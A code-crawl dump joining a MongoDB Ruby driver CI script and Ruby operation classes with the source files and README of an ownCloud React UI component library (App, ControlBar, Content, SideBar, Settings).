DRIVER_TOOLS_CLIENT_CERT_PEM="${DRIVERS_TOOLS}/.evergreen/x509gen/client-public.pem" export DRIVER_TOOLS_CLIENT_KEY_PEM="${DRIVERS_TOOLS}/.evergreen/x509gen/client-private.pem" export DRIVER_TOOLS_CA_PEM="${DRIVERS_TOOLS}/.evergreen/x509gen/ca.pem" export DRIVER_TOOLS_CLIENT_KEY_ENCRYPTED_PEM="${DRIVERS_TOOLS}/.evergreen/x509gen/password_protected.pem" source ~/.rvm/scripts/rvm rvm use $RVM_RUBY gem install bundler bundle install bundle exec rake clean bundle exec rake spec <file_sep># Copyright (C) 2014-2016 MongoDB, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. module Mongo module Operation module Read # A MongoDB get more operation. # # @example Create a get more operation. # Read::GetMore.new({ # :to_return => 50, # :cursor_id => 1, # :db_name => 'test_db', # :coll_name => 'test_coll' # }) # # Initialization: # param [ Hash ] spec The specifications for the operation. # # option spec :to_return [ Integer ] The number of results to return. # option spec :cursor_id [ Integer ] The id of the cursor. # option spec :db_name [ String ] The name of the database on which # the operation should be executed. # option spec :coll_name [ String ] The name of the collection on which # the operation should be executed. # # @since 2.0.0 class GetMore include Specifiable include Executable private def message(server) Protocol::GetMore.new(db_name, coll_name, to_return, cursor_id) end end end end end <file_sep># Copyright (C) 2014-2016 MongoDB, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. module Mongo module Operation # Adds behaviour for commands so ensure the limit option is always -1. # # @since 2.0.0 module Limited # Limited operations are commands that always require a limit of -1. In # these cases we always overwrite the limit value. # # @example Get the options. # limited.options # # @return [ Hash ] The options with a -1 limit. # # @since 2.0.0 def options super.merge(:limit => -1) end end end end
3a5f42ad161eb3c31df35a5a0fa8bab1d99f3fff
[ "Ruby", "Shell" ]
9
Ruby
estolfo/mongo-ruby-driver
9e41ca23cdbb9ebd84d4290524a04da878797d7c
e73512ea7a55d741ca391c34bf26feec29ca589a
refs/heads/master
<repo_name>icewind1991/oc-react-components<file_sep>/src/App.js import React, {Component} from 'react'; export class App extends Component { findChild (type) { if ( !this.props.children || !this.props.children.reduce || !this.props.children.reduce.call ) { return null; } return this.props.children.reduce((topBar, element)=> { if (element.type === type) { return element; } else { return topBar; } }, null); } render () { // re-structure the content and topbar elements to what css expects let topBar = this.findChild(ControlBar); let content = this.findChild(Content); if (content && topBar) { content = React.cloneElement(content, {topBar: topBar}); } let children = this.props.children.filter(element => { return element.type !== ControlBar && element.type !== Content; }); children.push(content); return ( <div id="content" role="main" className={"app-" + this.props.appId}> {children} </div> ); } } export class ControlBar extends Component { render () { return ( <div id="controls"> {this.props.children} </div> ); } } export class Content extends Component { render () { let className = this.props.className || ''; let topBar = this.props.topBar; if (topBar) { className = className + ' hascontrols'; } else { topBar = []; } return ( <div id="app-content"> {topBar} <ContentContainer className={className.trim()}> {this.props.children} </ContentContainer> </div> ); } } class ContentContainer extends Component { render () { return ( <div className={this.props.className} id="content"> {this.props.children} </div> ); } } <file_sep>/Makefile babel: node_modules/.bin/babel src --out-dir build <file_sep>/README.md # oc-react-components Base components for building an ownCloud app with reactjs The `oc-react-components` package provides some of the basic building blocks for building a UI for an ownCloud app: The main container element, a side navigation bar, a controlbar and the content container. For an example usage see https://github.com/icewind1991/react_oc_boilerplate ### `<App/>` The `<App/>` component creates the main container element for app ``` <App appId="my_app"> ... </App> ``` ### `<ControlBar/>` The `<ControlBar/>` component creates the bar on the top of the screen where the controls for the app are placed. ![controlbar](https://i.imgur.com/auuNYAH.png) ``` <App appId="my_app"> ... <ControlBar> ... </ControlBar> ... </App> ``` ### `<SideBar/>` The `<SideBar/>` component creates the navigation bar on side of the screen. ![sidebar](https://i.imgur.com/JWqPJFF.png) The `<SideBar/>` component also comes with the `<Entry/>` and `<Seperator/>` component to be used to create the navigation entries in the sidebar. ``` <App appId="my_app"> <SideBar> <Entry> ... </Entry> <Entry> ... </Entry> <Seperator/> <Entry> ... </Entry> ... </SideBar> ... ... </App> ``` ### `<Content/>` The `<Content/>` component main content container of the app, when a controlbar is used the content component will correctly adjust the styling to make room for the control bar on the top of the screen. ![content](https://i.imgur.com/Vo2C8kT.pngg) ``` <App appId="my_app"> ... ... <Content> ... </Content> </App> ``` <file_sep>/src/SideBar.js import {Component} from 'react'; export class SideBar extends Component { render () { var className = this.props.withIcon ? 'with-icon' : ''; return ( <div id="app-navigation"> <ul className={className}> {this.props.children} </ul> </div> ); } } export class Entry extends Component { render () { var className = this.props.icon ? 'icon-' + this.props.icon : ''; return ( <li className={this.props.className||''}> <a className={className} onClick={(e)=>{ e.preventDefault(); if(this.props.onClick) { this.props.onClick(e); } }}> {this.props.children} </a> </li> ); } } export class Separator extends Component { render () { return ( <li className="app-navigation-separator"/> ); } } export class Settings extends Component { state = { show: false }; toggle = () => { const show = !this.state.show; this.setState({show}); }; render () { const title = (this.props.title) ? this.props.title : 'Settings'; const style = { display: (this.state.show) ? 'block' : 'none' }; return ( <div id="app-settings"> <div id="app-settings-header"> <button className="settings-button" onClick={this.toggle}>{title} </button> </div> <div style={style}> {this.props.children} </div> </div> ); } }
a89059cc1957d0f27f7b8d921650e93b3ab3b7f3
[ "JavaScript", "Makefile", "Markdown" ]
4
JavaScript
icewind1991/oc-react-components
252841f2dcd8aaced5a929cfdd0182a7ce29f94b
c8066596b84891f8caeef7ce930d4f106546fba0